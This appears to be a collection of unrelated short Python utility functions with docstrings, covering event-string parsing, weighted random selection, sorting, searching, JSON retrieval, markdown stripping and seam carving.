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import re def parse_fst_session_event(ev): """Parses FST session event that comes as a string, e.g. "<3>FST-EVENT-SESSION event_type=EVENT_FST_SESSION_STATE session_id=0 reason=REASON_STT" Returns a dictionary with parsed "type", "id", and "reason"; or None if not a FST event or can't be parsed""" event = {} if ev.find("FST-EVENT-SESSION") == -1: return None event['new_state'] = '' # The field always exists in the dictionary f = re.search("event_type=(\S+)", ev) if f is None: return None event['type'] = f.group(1) f = re.search("session_id=(\d+)", ev) if f is not None: event['id'] = f.group(1) f = re.search("old_state=(\S+)", ev) if f is not None: event['old_state'] = f.group(1) f = re.search("new_state=(\S+)", ev) if f is not None: event['new_state'] = f.group(1) f = re.search("reason=(\S+)", ev) if f is not None: event['reason'] = f.group(1) return event
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from typing import List def parse_input_file(file_path: str) -> List[List[int]]: """Parse a file with the following format: 21 22 24 12 7 21 23 Returns each line as integers in a nested list """ with open(file_path) as input_file: parsed_file = [list(map(int, line.split())) for line in input_file.readlines()] return parsed_file
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def unlines(line): """Remove all newlines from a string.""" return line.translate(str.maketrans('\n', ' '))
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def reencode(s): """Reencodes a string using xmlcharrefreplace.""" return s.encode('ascii', 'xmlcharrefreplace').decode()
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import random def distselect(weight_l): """Perform a weighted selection using the weights from the provided list. Return the selected index""" if not isinstance(weight_l, list): raise Exception("distselect requires a list of values") # Create a weight/index vector weight_v = [] total_w = 0 for i,v in enumerate(weight_l): w = int(v) total_w += w weight_v.append((w, i)) # Order by weight value weight_v.sort(key=lambda e:e[0]) rand_v = random.randint(1, total_w) for we in weight_v: rand_v -= we[0] if rand_v <= 0: # Return the selected index return we[1] # Return the last index return weight_v[-1][1]
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import requests def retrieve_online_json(url:str) -> dict: """ This function downloads an online json file and returns it. :argument url: The url where to find the json file to retrieve. :return: A dictionary containing all the downloaded data. """ return requests.get(url).json()
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import re def strip_markdown(s): """ Strip some common markdown out of the description, for the cases where the description is taken from the first paragraph of the text. """ s = re.sub("[\\[\\]]", "", s) s = re.sub("\(.*\)", "", s) return s
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def get_expression_samples(header_line): """ Parse header of expression file to return sample names and column indices. Args: header_line (str): Header line from expression file. Returns: act_samples (dict): Dictionary of {sample_name (str): sample_data_index (int)}. sample_data_index is index for data in sample list, not the line as a whole. e.g.: [samp1, samp2, samp3] & [20, 10, 5] for data values, then {'samp1': 0}. """ line_list = header_line.strip().split("\t") samples = line_list[4:] exp_samples = {} for item in samples: samp_idx = samples.index(item) sample = item.split(".")[0] exp_samples[sample] = samp_idx return exp_samples
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def PyMapping_Check(space, w_obj): """Return 1 if the object provides mapping protocol, and 0 otherwise. This function always succeeds.""" return int(space.ismapping_w(w_obj))
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def validate_field(field): """ Return field if it exists otherwise empty string :param field: string to validate :return: field: input string if not empty, empty string otherwise """ if field: pass else: field = '' return field
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def linear_search(nums_array: list, search: int) -> int: """ Linear Search Algorithm Time Complexity --> O(N) :param nums_array: list :param search: int :return index: int """ for i in range(len(nums_array)): if search == nums_array[i]: return i return -1
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import math def _acosd(v): """Return the arc cosine (measured in in degrees) of x.""" return math.degrees(math.acos(v))
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def sort_quick(data): """快速排序。 选择第一个元素为主元 `pivot`,其余元素若小于 `pivot`,则放入 `left_list`,否则放入 `right_list`。递归地对子列表调用 `sort_quick`,直至排序完成。 """ if len(data) <= 1: return data pivot = data[0] left_list = [] right_list = [] for i in data[1:]: # `data` 中至少有 2 个元素 if i < pivot: left_list.append(i) else: right_list.append(i) return sort_quick(left_list) + [pivot] + sort_quick(right_list)
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import torch def finalize(s0, s1, s2): """Concatenate scattering of different orders. Parameters ---------- s0 : tensor Tensor which contains the zeroth order scattering coefficents. s1 : tensor Tensor which contains the first order scattering coefficents. s2 : tensor Tensor which contains the second order scattering coefficents. Returns ------- s : tensor Final output. Scattering transform. """ if len(s2)>0: return torch.cat([torch.cat(s0, -2), torch.cat(s1, -2), torch.cat(s2, -2)], -2) else: return torch.cat([torch.cat(s0, -2), torch.cat(s1, -2)], -2)
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def quarter_for_month(month): """return quarter for month""" if month not in range(1, 13): raise ValueError('invalid month') return {1: 1, 2: 1, 3: 1, 4: 2, 5: 2, 6: 2, 7: 3, 8: 3, 9: 3, 10: 4, 11: 4, 12: 4}[month] # return (month + 2) // 3
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def is_equal(x, y, tolerance=0.000001): """ Checks if 2 float values are equal withing a given tolerance :param x: float, first float value to compare :param y: float, second float value to compare :param tolerance: float, comparison tolerance :return: bool """ return abs(x - y) < tolerance
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def _find_seam_what(paths, end_x): """ Parameters ========== paths: 2-D numpy.array(int64) Output of cumulative_energy_map. Each element of the matrix is the offset of the index to the previous pixel in the seam end_x: int The x-coordinate of the end of the seam Returns ======= 1-D numpy.array(int64) with length == height of the image Each element is the x-coordinate of the pixel to be removed at that y-coordinate. e.g. [4,4,3,2] means "remove pixels (0,4), (1,4), (2,3), and (3,2)" """ height, width = paths.shape[:2] seam = [end_x] for i in range(height-1, 0, -1): cur_x = seam[-1] offset_of_prev_x = paths[i][cur_x] seam.append(cur_x + offset_of_prev_x) seam.reverse() return seam,sum([paths[r,seam[r]] for r in range(height)])
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